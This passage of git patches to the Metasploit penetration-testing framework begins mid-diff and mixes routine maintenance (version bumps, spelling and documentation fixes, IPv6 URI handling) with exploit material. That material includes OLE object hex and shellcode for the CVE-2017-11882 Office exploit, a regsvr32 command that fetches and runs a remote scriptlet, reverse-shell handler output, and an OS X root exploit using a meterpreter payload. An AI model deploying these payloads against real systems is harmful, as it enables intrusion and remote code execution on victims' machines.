+    object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
+    object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
+    object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
+    object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
+    object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
+    object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
+    object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000003'
+    object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
+    object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
+    object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
+    object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
+    object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
+    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
+    object_class << "00000300040000000000000000000000000000000000000000000000000000000"
+    object_class << "000000000000000000000000000000000000000000000000000000000000000\n"
 
 
     shellcode = "\x1c\x00"                  #  0:   1c 00                   sbb    al,0x0
@@ -215,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote
     payload += "\x00" * 2
     payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
     payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
-    payload = header + payload + footer
+    payload = header + object_class + payload + footer
     payload
   end
 

From fd1681edd9dfb041871ace9d69220d12d0089843 Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Fri, 1 Dec 2017 10:04:07 -0800
Subject: [PATCH 241/254] Bump version of framework to 4.16.22

---
 Gemfile.lock                        | 2 +-
 lib/metasploit/framework/version.rb | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index a507211199..02a3d0af4e 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.21)
+    metasploit-framework (4.16.22)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 9ae49f17d5..ce52cf1258 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.21"
+      VERSION = "4.16.22"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 06334aa2bd6d5ae7c8ede0caa8cd2c250288506f Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Mon, 4 Dec 2017 11:05:01 -0500
Subject: [PATCH 242/254] Update polycom_hdx_traceroute_exec.rb

---
 modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb | 1 +
 1 file changed, 1 insertion(+)

diff --git a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
index 033d433d37..de248ac09a 100644
--- a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
+++ b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
@@ -29,6 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'License' => MSF_LICENSE,
       'Platform' => 'unix',
       'Arch' => ARCH_CMD,
+      'Stance' => Msf::Exploit::Stance::Aggressive,
       'Targets' => [[ 'Automatic', {} ]],
       'Payload' => {
         'Space' => 8000,

From 7edab268f504fb0fe397acf792d34870d8c5d24a Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 4 Dec 2017 12:47:40 -0600
Subject: [PATCH 243/254] handle case-insensitive password, fix received

---
 modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
index de248ac09a..f95797d672 100644
--- a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
+++ b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
@@ -74,9 +74,9 @@ class MetasploitModule < Msf::Exploit::Remote
     sock = connect
     Rex.sleep(2)
     banner = sock.get_once
-    vprint_status("Recieved #{banner.length} bytes from service")
+    vprint_status("Received #{banner.length} bytes from service")
     vprint_line("#{banner}")
-    if banner =~ /password/
+    if banner =~ /password/i
       print_status("Authentication enabled on device, authenticating with target...")
       if datastore['PASSWORD'].nil?
         print_error("#{peer} - Please supply a password to authenticate with")
@@ -111,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if datastore['VERBOSE']
       Rex.sleep(2)
       resp = sock.get_once
-      vprint_status("Recieved #{resp.length} bytes in response")
+      vprint_status("Received #{resp.length} bytes in response")
       vprint_line(resp)
     end
 

From b7f17f5519521c4d4716c26e0c9ced5c6342bc4a Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Mon, 4 Dec 2017 16:41:27 -0500
Subject: [PATCH 244/254] fix documentation

---
 .../exploit/windows/fileformat/office_ms17_11882.md | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
index b6b3ae81c6..b1b73d0468 100644
--- a/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
+++ b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
@@ -1,5 +1,5 @@
-Office products within the last 17 years allow an attacker to execute arbitrary commands through memory corruption in Office documents. This occurs in how MS office fails to properly handle OLE objects in memory. Requires an victim
-to open an MS `.rtf` file. In addition for the payload to be executed, the user must not open as read-only. Otherwise requires no interaction beyond that from the user.
+
+Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
 
 ## Vulnerable Application
 
@@ -24,18 +24,15 @@ Filename to output, and location to which should be written.
 
 ```
 msf > use exploit/windows/fileformat/office_ms17_11882
-msf exploit(office_ms17_11882) > set FILENAME /home/mumbai/file.rtf
+msf exploit(office_ms17_11882) > set FILENAME msf.rtf
 FILENAME => /home/mumbai/file.rtf
 msf exploit(office_ms17_11882) > set LHOST ens3
 LHOST => ens3
 msf exploit(office_ms17_11882) > set LPORT 35116
 LPORT => 35116
 msf exploit(office_ms17_11882) > run
-[*] Exploit running as background job 0.
-
-[*] Started reverse TCP handler on 192.168.0.11:35116
-msf exploit(office_ms17_11882) > [*] Using URL: http://0.0.0.0:8080/e08qBLfVxgaJZPo
-[*] Local IP: http://192.168.0.11:8080/e08qBLfVxgaJZPo
+[*] Using URL: http://0.0.0.0:8080/BUY0DYgc
+[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc
 [*] Server started.
 [*] 192.168.0.24     office_ms17_11882 - Handling initial request from 192.168.0.24
 [*] 192.168.0.24     office_ms17_11882 - Stage two requestd, sending

From b96dac28d520a51ac655e227bec0c4b8bae84106 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Mon, 4 Dec 2017 16:42:41 -0500
Subject: [PATCH 245/254] fix info segment

---
 modules/exploits/windows/fileformat/office_ms17_11882.rb | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 291fe04045..9dc87de6a8 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -16,11 +16,10 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name' => 'Microsoft Office CVE-2017-11882',
       'Description' => %q{
-        Module exploits a flaw in the Equation Editor, developed
-        in 2000, that allowed any OLE object to execute in a separate
-        address space. Compared to original PoC, allows for a command within
-        a length of 109 bytes to be executed Affects Microsoft Office word for the latest
-        17 years.
+        Module exploits a flaw in how the Equation Editor that 
+        allows an attacker to execute arbitrary code in RTF files without 
+        interaction. The vulnerability is caused by the Equation Editor, 
+        to which fails to properly handle OLE objects in memory.
       },
       'Author' => ['mumbai', 'embedi'],
       'License' => MSF_LICENSE,

From a27bb38d519759149bdb5c6100781da2f2341725 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 4 Dec 2017 18:25:18 -0600
Subject: [PATCH 246/254] add authors

---
 modules/exploits/osx/local/root_no_password.rb | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/modules/exploits/osx/local/root_no_password.rb b/modules/exploits/osx/local/root_no_password.rb
index 2fc91f8fe7..57588fafce 100644
--- a/modules/exploits/osx/local/root_no_password.rb
+++ b/modules/exploits/osx/local/root_no_password.rb
@@ -26,6 +26,10 @@ class MetasploitModule < Msf::Exploit::Local
         ],
       'Platform'      => 'osx',
       'Arch'          => ARCH_X64,
+      'Author'         => [
+        'chethan177',  # earliest public discovery
+        'timwr',       # Metasploit module
+      ],
       'DefaultOptions' =>
       {
         'PAYLOAD'      => 'osx/x64/meterpreter_reverse_tcp',

From b13f4e25e1c8cccad9ba0577768eafdb83be407e Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 4 Dec 2017 18:32:31 -0600
Subject: [PATCH 247/254] thanks for making this well-known

---
 modules/exploits/osx/local/root_no_password.rb | 1 +
 1 file changed, 1 insertion(+)

diff --git a/modules/exploits/osx/local/root_no_password.rb b/modules/exploits/osx/local/root_no_password.rb
index 57588fafce..ff11728624 100644
--- a/modules/exploits/osx/local/root_no_password.rb
+++ b/modules/exploits/osx/local/root_no_password.rb
@@ -28,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Local
       'Arch'          => ARCH_X64,
       'Author'         => [
         'chethan177',  # earliest public discovery
+        'lemiorhan',   # making this well-known via Twitter
         'timwr',       # Metasploit module
       ],
       'DefaultOptions' =>

From adba277be0290d98c3b7044a749726cb6ad56f2a Mon Sep 17 00:00:00 2001
From: William Webb <william_webb@rapid7.com>
Date: Mon, 4 Dec 2017 16:57:48 -0800
Subject: [PATCH 248/254] axe errant spaces at EOL

---
 modules/exploits/windows/fileformat/office_ms17_11882.rb | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 9dc87de6a8..ec5b951c8d 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -16,9 +16,9 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name' => 'Microsoft Office CVE-2017-11882',
       'Description' => %q{
-        Module exploits a flaw in how the Equation Editor that 
-        allows an attacker to execute arbitrary code in RTF files without 
-        interaction. The vulnerability is caused by the Equation Editor, 
+        Module exploits a flaw in how the Equation Editor that
+        allows an attacker to execute arbitrary code in RTF files without
+        interaction. The vulnerability is caused by the Equation Editor,
         to which fails to properly handle OLE objects in memory.
       },
       'Author' => ['mumbai', 'embedi'],

From 14226c5f3353bf7b5788658d33301b92d46e0fe4 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Mon, 4 Dec 2017 20:58:36 -0500
Subject: [PATCH 249/254] missing docs on options

Missed fixes on documentation
---
 .../modules/exploit/windows/fileformat/office_ms17_11882.md  | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
index b1b73d0468..51f8bd7813 100644
--- a/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
+++ b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
@@ -17,7 +17,10 @@ Module exploits a flaw in how the Equation Editor that allows an attacker to exe
 
 ## Options
 ### FILENAME
-Filename to output, and location to which should be written.
+Filename to output & if injecting a file, the file to inject
+
+### FOLDER_PATH
+Path to filename to inject
 
 
 ## Example

From c15f37934379af99e0b01e99dd7ee003bba7b8f6 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 4 Dec 2017 22:27:21 -0600
Subject: [PATCH 250/254] remove some unneeded backward-compat code

---
 lib/msf/core.rb              |   3 +-
 lib/msf/sanity.rb            |  28 --------
 lib/msf/ui/console/driver.rb | 133 ++---------------------------------
 3 files changed, 5 insertions(+), 159 deletions(-)
 delete mode 100644 lib/msf/sanity.rb

diff --git a/lib/msf/core.rb b/lib/msf/core.rb
index 881836e7f9..6eca2772ce 100644
--- a/lib/msf/core.rb
+++ b/lib/msf/core.rb
@@ -10,8 +10,7 @@
 #
 ###
 
-# Sanity check this version of ruby
-require 'msf/sanity'
+# Include backported features for older versions of Ruby
 require 'backports'
 
 # The framework-core depends on Rex
diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb
deleted file mode 100644
index dc5ef2696d..0000000000
--- a/lib/msf/sanity.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# -*- coding: binary -*-
-#
-# Provides some sanity checks against the ruby build and version
-#
-
-if(RUBY_PLATFORM == 'java')
-  require 'socket'
-  s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
-  if(not s.respond_to?('bind'))
-    $stderr.puts "*** JRuby 1.5.0+ is required to use Metasploit with jRuby"
-    exit(0)
-  end
-
-  $stderr.puts "*** Warning: JRuby support is still incomplete, few things will work properly!"
-  trap Signal::list['INT'] do
-    Thread.main.raise Interrupt.new
-  end
-
-  s.close
-end
-
-# Check for OpenSSL and print a warning if it is not installed
-begin
-  require 'openssl'
-rescue ::LoadError
-  $stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!"
-  $stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more"
-end
diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb
index 1e303bf4ee..fd53c3278b 100644
--- a/lib/msf/ui/console/driver.rb
+++ b/lib/msf/ui/console/driver.rb
@@ -138,15 +138,6 @@ class Driver < Msf::Ui::Driver
       print_error("***")
     end
 
-    begin
-      require 'openssl'
-    rescue ::LoadError
-      print_error("***")
-      print_error("* WARNING: No OpenSSL support. This is required by meterpreter payloads and many exploits")
-      print_error("* Please install the ruby-openssl package (apt-get install libopenssl-ruby on Debian/Ubuntu")
-      print_error("***")
-    end
-
     # Register event handlers
     register_event_handlers
 
@@ -191,24 +182,10 @@ class Driver < Msf::Ui::Driver
         end
       end
 
-      # framework.db.active will be true if after_establish_connection ran directly when connection_established? was
-      # already true or if framework.db.connect called after_establish_connection.
-      if !! framework.db.error
-        if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
-          print_error("***")
-          print_error("*")
-          print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support")
-          print_error("* There a three ways to accomplish this upgrade:")
-          print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:")
-          print_error("*    $ rvmsudo gem install pg ")
-          print_error("* 2. Use the Community Edition web interface to apply a Software Update")
-          print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit")
-          print_error("*")
-          print_error("***")
-          print_error("")
-          print_error("")
-        end
-
+      # framework.db.active will be true if after_establish_connection ran
+      # directly when connection_established? was already true or if
+      # framework.db.connect called after_establish_connection.
+      if !!framework.db.error
         print_error("Failed to connect to the database: #{framework.db.error}")
       end
     end
@@ -250,108 +227,6 @@ class Driver < Msf::Ui::Driver
     end
   end
 
-  #
-  # Configure a default output path for jUnit XML output
-  #
-  def junit_setup(output_path)
-    output_path = ::File.expand_path(output_path)
-
-    ::FileUtils.mkdir_p(output_path)
-    @junit_output_path = output_path
-    @junit_error_count = 0
-    print_status("Test Output: #{output_path}")
-
-    # We need at least one test success in order to pass
-    junit_pass("framework_loaded")
-  end
-
-  #
-  # Emit a new jUnit XML output file representing an error
-  #
-  def junit_error(tname, ftype, data = nil)
-
-    if not @junit_output_path
-      raise RuntimeError, "No output path, call junit_setup() first"
-    end
-
-    data ||= framework.inspect.to_s
-
-    e = REXML::Element.new("testsuite")
-
-    c = REXML::Element.new("testcase")
-    c.attributes["classname"] = "msfrc"
-    c.attributes["name"]  = tname
-
-    f = REXML::Element.new("failure")
-    f.attributes["type"] = ftype
-
-    f.text = data
-    c << f
-    e << c
-
-    bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
-    bname << "_" + Digest::MD5.hexdigest(tname)
-
-    fname = ::File.join(@junit_output_path, "#{bname}.xml")
-    cnt   = 0
-    while ::File.exist?( fname )
-      cnt  += 1
-      fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
-    end
-
-    ::File.open(fname, "w") do |fd|
-      fd.write(e.to_s)
-    end
-
-    print_error("Test Error: #{tname} - #{ftype} - #{data}")
-  end
-
-  #
-  # Emit a new jUnit XML output file representing a success
-  #
-  def junit_pass(tname)
-
-    if not @junit_output_path
-      raise RuntimeError, "No output path, call junit_setup() first"
-    end
-
-    # Generate the structure of a test case run
-    e = REXML::Element.new("testsuite")
-    c = REXML::Element.new("testcase")
-    c.attributes["classname"] = "msfrc"
-    c.attributes["name"]  = tname
-    e << c
-
-    # Generate a unique name
-    bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
-    bname << "_" + Digest::MD5.hexdigest(tname)
-
-    # Generate the output path, allow multiple test with the same name
-    fname = ::File.join(@junit_output_path, "#{bname}.xml")
-    cnt   = 0
-    while ::File.exist?( fname )
-      cnt  += 1
-      fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
-    end
-
-    # Write to our test output location, as specified with junit_setup
-    ::File.open(fname, "w") do |fd|
-      fd.write(e.to_s)
-    end
-
-    print_good("Test Pass: #{tname}")
-  end
-
-
-  #
-  # Emit a jUnit XML output file and throw a fatal exception
-  #
-  def junit_fatal_error(tname, ftype, data)
-    junit_error(tname, ftype, data)
-    print_error("Exiting")
-    run_single("exit -y")
-  end
-
   #
   # Loads configuration that needs to be analyzed before the framework
   # instance is created.

From 912fbc3b8ca45db1d1edcedc00b98bb21a103439 Mon Sep 17 00:00:00 2001
From: Christian Mehlmauer <firefart@gmail.com>
Date: Wed, 6 Dec 2017 20:34:40 +0100
Subject: [PATCH 251/254] add docker pull badge to readme

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 16b401ac91..849f6107cd 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,4 @@
-Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework)
+Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
 ==
 The Metasploit Framework is released under a BSD-style license. See
 COPYING for more details.

From 2565ad6a27a3dac7367f22dc836fe66d41bfaaeb Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Thu, 7 Dec 2017 12:56:55 -0600
Subject: [PATCH 252/254] Handle IPv6 addresses in full_uri (add brackets)

---
 lib/msf/core/exploit/http/client.rb | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb
index daa6ac6f83..a7194c8bb1 100644
--- a/lib/msf/core/exploit/http/client.rb
+++ b/lib/msf/core/exploit/http/client.rb
@@ -474,7 +474,13 @@ module Exploit::Remote::HttpClient
 
     uri = normalize_uri(custom_uri || target_uri.to_s)
 
-    "#{uri_scheme}://#{rhost}#{uri_port}#{uri}"
+    if Rex::Socket.is_ipv6?(rhost)
+      uri_host = "[#{rhost}]"
+    else
+      uri_host = rhost
+    end
+
+    "#{uri_scheme}://#{uri_host}#{uri_port}#{uri}"
   end
 
   #

From 348cbe54b6f56b0dce406da4512d2bfdf6059913 Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Fri, 8 Dec 2017 10:01:55 -0800
Subject: [PATCH 253/254] Bump version of framework to 4.16.23

---
 Gemfile.lock                        | 6 +++---
 lib/metasploit/framework/version.rb | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 02a3d0af4e..5005305830 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.22)
+    metasploit-framework (4.16.23)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -138,7 +138,7 @@ GEM
       multi_json (~> 1.11)
       os (~> 0.9)
       signet (~> 0.7)
-    grpc (1.7.2)
+    grpc (1.7.3)
       google-protobuf (~> 3.1)
       googleapis-common-protos-types (~> 1.0.0)
       googleauth (>= 0.5.1, < 0.7)
@@ -193,7 +193,7 @@ GEM
     method_source (0.9.0)
     mini_portile2 (2.3.0)
     minitest (5.10.3)
-    msgpack (1.1.0)
+    msgpack (1.2.0)
     multi_json (1.12.2)
     multipart-post (2.0.0)
     nessus_rest (0.1.6)
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index ce52cf1258..22c37e115b 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.22"
+      VERSION = "4.16.23"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 3a14ac3b37ebcdf7cb4e0bf5424190e1eb9d7c0c Mon Sep 17 00:00:00 2001
From: Chris Higgins <chris@chigs.me>
Date: Sat, 9 Dec 2017 02:30:42 -0600
Subject: [PATCH 254/254] Fixed a spelling error in documentation

---
 .../modules/exploit/windows/smtp/sysgauge_client_bof.md         | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md b/documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md
index d422147189..467f8c3603 100644
--- a/documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md
+++ b/documentation/modules/exploit/windows/smtp/sysgauge_client_bof.md
@@ -4,7 +4,7 @@
 via its SMTP server validation. The module sends a malicious response along in the
 220 service ready response and exploits the client, resulting in an unprivileged shell.
 
-  he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
+  The software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
 
 ## Verification Steps